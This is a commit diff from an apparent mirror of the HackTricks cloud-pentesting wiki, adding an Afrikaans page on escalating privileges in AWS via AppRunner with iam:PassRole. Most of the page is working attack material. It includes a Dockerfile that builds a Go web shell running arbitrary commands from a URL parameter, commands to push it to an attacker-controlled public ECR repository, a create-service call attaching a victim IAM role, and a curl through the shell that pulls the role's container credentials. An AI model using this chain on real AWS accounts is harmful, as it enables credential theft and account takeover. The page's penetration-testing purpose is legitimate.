mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 23:15:48 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,72 @@
|
||||
# AWS - AppRunner Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppRunner
|
||||
|
||||
### `iam:PassRole`, `apprunner:CreateService`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan 'n AppRunner-diens skep met 'n aangehegte IAM-rol, wat moontlik voorregte kan opgradeer deur toegang te verkry tot die rol se akrediteer.
|
||||
|
||||
Die aanvaller skep eers 'n Dockerfile wat as 'n web shell dien om arbitrêre opdragte op die AppRunner-container uit te voer.
|
||||
```Dockerfile
|
||||
FROM golang:1.24-bookworm
|
||||
WORKDIR /app
|
||||
RUN apt-get update && apt-get install -y ca-certificates curl
|
||||
RUN cat <<'EOF' > main.go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
|
||||
output, err := command.CombinedOutput()
|
||||
if err != nil {
|
||||
fmt.Fprint(w, err.Error(), output)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprint(w, string(output))
|
||||
})
|
||||
http.ListenAndServe("0.0.0.0:3000", nil)
|
||||
}
|
||||
EOF
|
||||
RUN go mod init test && go build -o main .
|
||||
EXPOSE 3000
|
||||
CMD ["./main"]
|
||||
```
|
||||
Dan, stoot hierdie beeld na 'n ECR-bewaarplek.
|
||||
Deur die beeld na 'n openbare bewaarplek in 'n AWS-rekening wat deur die aanvaller beheer word, te stoot, is voorregverhoging moontlik selfs al het die slagoffer se rekening nie toestemming om ECR te manipuleer nie.
|
||||
```sh
|
||||
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
|
||||
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
|
||||
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
|
||||
docker push $IMAGE_NAME
|
||||
docker logout public.ecr.aws
|
||||
```
|
||||
Volgende skep die aanvaller 'n AppRunner-diens wat geconfigureer is met hierdie web shell beeld en die IAM-rol wat hulle wil benut.
|
||||
```bash
|
||||
aws apprunner create-service \
|
||||
--service-name malicious-service \
|
||||
--source-configuration '{
|
||||
"ImageRepository": {
|
||||
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
|
||||
"ImageRepositoryType": "ECR_PUBLIC",
|
||||
"ImageConfiguration": { "Port": "3000" }
|
||||
}
|
||||
}' \
|
||||
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
|
||||
--query Service.ServiceUrl
|
||||
```
|
||||
Na die wag vir die diens se skepping om te voltooi, gebruik die web shell om houer geloofsbriewe te verkry en die toestemmings van die IAM Rol wat aan AppRunner geheg is, te verkry.
|
||||
```sh
|
||||
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
|
||||
```
|
||||
**Potensiële Impak:** Direkte privilige-escalasie na enige IAM-rol wat aan AppRunner-dienste geheg kan word.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user